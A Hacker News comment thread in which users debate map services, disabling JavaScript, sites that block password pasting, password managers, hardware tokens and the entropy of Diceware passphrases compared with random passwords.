Looking up where an address is? OSM. Routing? OSM. Opening hours for places I go semi-regularly (but not often enough to remember them)? OSM (I put them in myself). Footpaths, caves, info on towers (like GSM/3G), public transport routes, etc.? OSM.

Aerial imagery? Bing (much faster than Google Maps).

Traffic info? Google Maps (I'm still casually looking for alternatives). Searching a shop? Google Maps.

In the Netherlands OSM is of equivalent quality in some categories (road network, addresses), better quality in others (trails, meta info about towers or cave entrances or so), or worse in yet other categories (information about businesses, at least outside of city centers).


I use Apple maps when I need them, but that isn't often. I don't drive much, and when I do I use Navigon for turn-by-turn, which I bought before that feature became a free thing.

I don't use Google services in my personal life. (I have less control over vendors at work.)


Yup. I disable JavaScript and cookies.

I also use extensions to enable them on certain sites. Just tap the extension icon and it will reload with JS enabled.

You'd be surprised how fast webpages load without JS


Lol I always love replies like this. Scuse my french, but are you fucking kidding me?

So basically you don't use 80% of the internet because the occasional site annoys you?

Do you also cut off your hands when you get dirt on them???

People have been saying this since like 2000's, and the more advanced JS websites get, the more cringeworthy this comment gets. It's 2017, just fucking leave javascript on and use ghostry + ublock origin.


> Justification 1: 'Password pasting allows brute force attacks'

This really pisses me off every time I see it.

JavaScript is client-side code. If the attacker you're protecting against can't trivially bypass this bullshit "security" feature in three seconds, then he/she is not something you should be concerned about.

Attackers like that probably have other skills like counting to 5 with a 60% accuracy, and pointing out their own nose with a 40% accuracy. (Just like you do if you have this on your website.)


"Justification 2: 'Pasting passwords makes them easier to forget, because you have fewer chances to practise them'."

if you can remember your password, its probably too weak


So by definition your password manager master key is weak? That's an interesting paradox!


I don't even have the ability to read my password manager's master key, since all passwords are encrypted with different AES keys, which is then encrypted with a private key I have no ability to read (only ask my smartcard to perform RSA on, if I can authenticate to it).

hunter2 is the password manager I wrote for this: https://chiselapp.com/user/rkeene/repository/hunter2/


This is an interesting concept for storing keys. I may end up using something similar in a proof-of-concept I've been thinking about.


What if you loose your smartcard ?


hunter2 supports the concept of users, which are named public keys so I can share individual passwords with other users. One of those other users can be a different smartcard or a different person who can then authorized my new card.


He could have an encrypted digital copy somewhere else


I don't keep my private key, in any format, accessible -- usually the private keys are generated on the card and never revealed.


It's remembering one password vs X, and it is pretty hard to remember in my case, almost 4 months into using this password and I still struggle to type it in correctly sometimes


Yeah I was just kidding, I see what the parent meant.

Now I use a hardware token (yubikey) to store my PGP key so I can use a relatively weak PIN code on it (since you need to have physical access to the device to use it and you only have 3 attempts before it locks up). It's a pretty good quality of life improvement.


> you only have 3 attempts before it locks up

Then you better don't use it when you're fatigued or drunk. I nearly locked my SIM card once by not realizing until the third attempt that my phone was asking for the SIM card PIN rather than my lockscreen PIN.


There's also an "admin PIN" that can be used to unlock the key if something goes wrong. It's more complicated than my regular PIN and I didn't memorize it so that should be enough as a defensive measure against drunk me.

Well, unless I'm silly enough to try and bruteforce that PIN as well, after 3 failures I'd be left with an expensive piece of plastic... Fortunately I'm rarely that drunk.

EDIT: Actually as the sibling comment points out you can still reset the token even if you mess up the admin PIN. So at least you won't "brick" your token completely.


Even if you mess that up, you can reset it, but it'll wipe. Then you restore from cold backup.


My password? Sure it's weak I guess. The keyfile? No.


Well, the password manager master key encrypts a local file, so an attacker must have access to your machine first. And it's only one password to remember, as opposed to a high-strength password for every single site one uses.


If you can remember your password, better not fly to the UK.


>if you can remember your password, its probably too weak

As XKCD famously pointed out[0], Diceware[1]-style pass phrases can be both secure and memorable. XKCD's four word example isn't secure when fast brute-force attacks are feasible, but eight words is still easily memorable and secure enough for anything. The important point here is that "random words" really does mean "random", i.e. not picked by a human.

[0] https://xkcd.com/936/

[1] https://en.wikipedia.org/wiki/Diceware


Just to add to the above comment, a diceware passphrase is MUCH harder to break than most people realize. For example, compare the possible number of combinations:

  Diceware, 6 words          2.2 x 10^23
  Diceware, 5 words          2.8 x 10^19
  Diceware, 4 words          3.6 x 10^15
  a-zA-Z0-9, symbols, 10     4.3 x 10^19
  a-zA-Z0-9, 10char          8.4 x 10^17
  a-zA-Z0-9, 8char           2.2 x 10^15
A 6 word diceware phrase has 100 million more combinations than the 8 character alphanumeric.


You might wish to consider these in terms of entropy, which is typically given in bits:

    Diceware, 6 words          77 bits
    Diceware, 5 words          64 bits
    Diceware, 4 words          51 bits
    a-zA-Z0-9, symbols, 10     65 bits
    a-zA-Z0-9, 10char          59 bits
    a-zA-Z0-9, 8char           50 bits
For any remote site, I recommend using 22 characters from [a-zA-Z0-9]; this is 128 bits, and is easily copy-pasteable.

It's highly amusing when a site tells me that such a password is insufficiently complex, given that it will never in the lifetime of the universe be guessed.


A 6 word phrase is also over 3x as long as an 8char password.

The entropy calculations are probably generous. The wordlist isn't as long as it looks, because some of the words are strange and people tend to re-roll if they get something like that. It's probably better to assume there's only 1000-2000 "words" people will safely combine.


The instructions explicitly tell you not to reroll strange words. Look them up or use them as a mnemonic. Or if you don't like the strangeness in the default diceware word-list, find a word-list you like better. (There are several alternatives including fun ideas like using a foreign language word-list and learning the pronunciations and meanings of those words.)

Also, the combinations list assumes that the attacker knows the method/word-list used to generate the password, which may not be foreknowledge the attacker has access to, especially in cases of giant many account password brute forcing attacks.


If you are OK with such words, why not just record the raw dice numbers? Even better, reroll sixes and sum them to get more bits-per-character.


It should be clear that brute-forcing a passphrase is much more complicated than a PIN number, in the best case for you (worse case for an attacker).

Just because your passphrase may essentially be a PIN look up into a lookup table doesn't mean the attacker knows that or has access to the same lookup table.

You can also add additional entropy via punctuation or casing.

The point to a random passphrase is to try to avoid "human" mistakes like over favoring a subset of words, and rerolling words you don't like potentially makes your collection of passphrases more susceptible to analysis or social engineering (word association) attacks.

Like I said, it's generally better to pick a word-list you are comfortable with all the possible words than to subset a word-list you aren't entirely comfortable with.

The goal of something like Diceware is to be easy for humans to memorize but also still true random (see: xkcd's battery horse comic). If you don't need to memorize it, then yes, why not entirely generate a random sequence of letters/numbers/symbols/emoji.


This kind of assumes that you're trying to crack a password with the operating assumption that words are indeed not used, that every character is random, and that you wouldn't use some sort of word library to construct passwords.


No, it doesn't. It assume that you know exactly that the password is a Diceware password. The standard word list has 7776 entries, giving 7776^6 ~ 2.2*10^23 combinations for a 6 word passphrase.


I've come to be a big fan of diceware-style passphrases. I even wrote a generator for them based upon the EFF's wordlist: https://spg.brashear.me


But how many of these can you remember? I currently use almost fifty different passwords. I can't imagine committing fifty different pass phrases to memory.


That's what password managers are for. Just remember the password for the manager, plus maybe one or two critical accounts (e.g. email) and you're good to go. Let the manager deal with the complexity of generating and remembering random passwords.


I don't understand this response? A passphrase is easier to remember than a password. 50 passphrases may not be easy to remember, but they're easier than 50 passwords.


Use a password manager.


I use a similar approach and have around 8 of such passwords memorized. The rest are in my password manager.


I thought password cracking machines now guess words as well as characters? Like they will guess all 8 character passwords and will also guess all 6 word passwords using common words like they guess characters? Therefore using just a few common words stuck together with nothing else is no longer secure? (This is a genuine question because I could be totally wrong on that, I can't even remember where I heard it)


They can, but still the passphrases are much more secure simply because there are enough different words.


The xkcd comic has all the math right there in it. They are already assuming word by word guesses not character by character guesses.


Some of my best passwords were phrases copied from discarded cartons on my desk. For example, I could choose a password,

> Distributed_By: WalgreenCo. 200 Wilmont Rd.

And it would both be very strong, and be difficult for someone at my desk to guess by looking at things on my desk.


And how do you remember which item on your desk is for which site/password?


Post-It note under the keyboard


"Probably" being key here. I still memorize all my passwords and the average one is about 30 characters long, with my "more secure" websites going 60+.


Oh, come on. All of them? If you're like me, that’s hundreds. Are you a memorization savant? Are you creating low-quality passwords? Mine are actually long and random (generated NOT by me and NOT four Dr Seuss words)


It wasn't always this way. I had horrible password standards as I'm sure most of us did when we started out on computers.

- If it's a website I couldn't care about, I use a simple password, probably a remnant from growing up.

- If it's a website I'm concerned about but knowingly won't use, I create a random password and clipboard it during initial creation/login, then every time I use the website I reset it (lazy man's password generator)

- If it's a website that I care about, like HN, I have a loose pattern that I follow that includes symbols and numbers (that's the 30ish character I was referencing). Every website is unique.

- Financial accounts have their own set of rules (unless it's stupid and has, say, an 8 character limit)

- My main email accounts get special treatment with an exceptionally long password.

- Use two-factor authentication wherever possible.

And yes, I could replace this with:

- Password manager

- Two-factor authentication

E: grammar.


You just make up a story and use one of the knickknacks you keep near your workstation as a memory trigger.

For instance, if I needed a new strong password, I could use, "This#jar#once#held#1111#M&Ms,#but#now#it#is#empty."

The only thing I need to remember there is the story of the jar and the padding character I used in place of spaces. If I really had to, I could put "#" on a sticky note under the jar. But of course, I can't use that password now. So I might instead use "I(used(this(jar(as(an(example(on(HN." But now I can't use that one, either. So maybe I use "These!blinds!are!very!dusty.!!Someone!should!clean!them." or "My^dog^once^killed^a^dozen^baby^rabbits^in^the^tall^grass^I^didn't^want^to^mow." or "MyFgreatFauntsFhadFreallyFlongFhair."

I get really irritated when sites tell me I have to include numbers, uppercase, lowercase, and symbols in the same password. I get especially irritated when they put an upper limit on the number of characters, or ban certain characters from appearing in the password.


That's ludicrous. Is your workstation covered in sticky notes and knickknacks? Are you re-using these passwords? Do you have to buy a new knickknack for every new website you visit that requires a password?


One photograph can contain several virtual knickknacks. I usually don't use sticky notes, as I also make a mnemonic to relate the character to the story. For instance, a story about the beach could use '@' as a conch shell, or '*' as a sea star, or '$' as a sand dollar, or '~' for ocean waves.

But everyone has their own tricks for remembering things.

And I certainly don't make the effort for sites that I don't consider to be important. Those as often as not just get reset via e-mail whenever I forget my password.


It's amazing the lengths people will go to to justify not using a password manager.

Use a password manager. KeepassX is free, cross-platform, works on phones, does all that work for you, secures even your least-valuable accounts, does things right, doesn't store your passwords "in the cloud" and you'll get to keep applying your scheme to your master password.


Exercising your memory is good for more than just passwords, you know.


Like I said. Amazing.


And some people run marathons when they have a perfectly serviceable automobile. Remembering many passwords is not particularly remarkable. I am far more impressed by those who [uselessly] memorize thousands of digits of pi.

Why would anyone do that, when those digits can so easily be calculated or referenced from data files? Why do anything that is not strictly necessary? Why try to bench press more weight than last time? Why try to improve your chess game? Why learn a new programming language?

Because different people like different things. I am not required to like the things you like.

And I like proving to myself that I still can remember things without a helper daemon to keep track of them for me. I like that little bit of paranoid fantasy I have that makes me think that the men in black suits would have to take the pipe wrench to my kneecaps to get at my passwords, so I don't think about how the security at all these sites requiring password is so piss-poor that it would be easier to bypass all passwords in lieu of cracking just one of mine. In the end, the problem mentioned by the article is that very few people implementing computer security measures have any idea how to truly secure their data, so they do stupid shit like block clipboard pasting into password entry fields, or allow accounts to be hijacked by a spoofed SMS 2nd factor, or try to roll their own crypto without the requisite number of CS and math PhDs.


You could also ... use spaces?


Yes, you could. That would be easier to remember, but also easier to guess. If your phrase is long enough, and unique enough, that wouldn't matter. The mere threat that it could be any character is enough to discourage most attackers.

Probably the best argument against spaces is the attack that listens to the sounds of your keyboard with a microphone as you type. As the space bar is a larger key, it sounds a distinctively lower note as you type, and would give even an unsophisticated attacker the means to determine the word lengths in your passphrase, which might reduce its entropy to something guessable within the lifespan of the universe.

Probably not a concern unless you might be targeted by someone with government-level resources.


Why the dig at passphrases?


I don’t have a problem with passphrases per se, but when people make them up via their noggin, they aren’t random and aren’t likely to include many obscure words. Using only common words dramatically reduces entropy. E.g., there are only 1 trillion passphrases of 4 words that can be constructed with the 1000 most common words, but a 12-character passphrase pulling from alphanumerics and the ~16 punctuation characters on your keyboard yield 50 sextillion permutations. That’s 50 thousand billion billion.

The argument I am making is that your average passphrase — yes, including "correct horse battery staple" — could be cracked a trillion times over before a password generated via 1Password would be!


Because they're not actually effective. Most brute forcing is done via dictionary attacks.


"Dictionary attacks" aren't a magic spell. They're a form of brute forcing, as you seem to be aware.

If you're using about 8000 words, randomly chosen, then a 4 word passphrase is about the same as an 8 character random password. (And in fact, for 8k words, it's basically a direct substitution between 2 characters and 1 word.)

For most intents and purposes, 8-10 characters is fine, and 20 characters is enough to use as a cryptographic key. Similarly, 4-5 words is fine for most uses, and 10 words is enough to use as a cryptographic key.

So I'm not sure what you think isn't effective about passphrases -- they're just using a 2^13 sized alphabet instead of a 2^6.5 one, but either is capable of being used to write down a random string of bits.


My random Adobe password is something in the order of 60 characters long. Just because.

If they disabled pasting, I'd disable my account.


Guidelines | FAQ | Support | API | Security | Lists | Bookmarklet | Legal | Apply to YC | Contact

Search: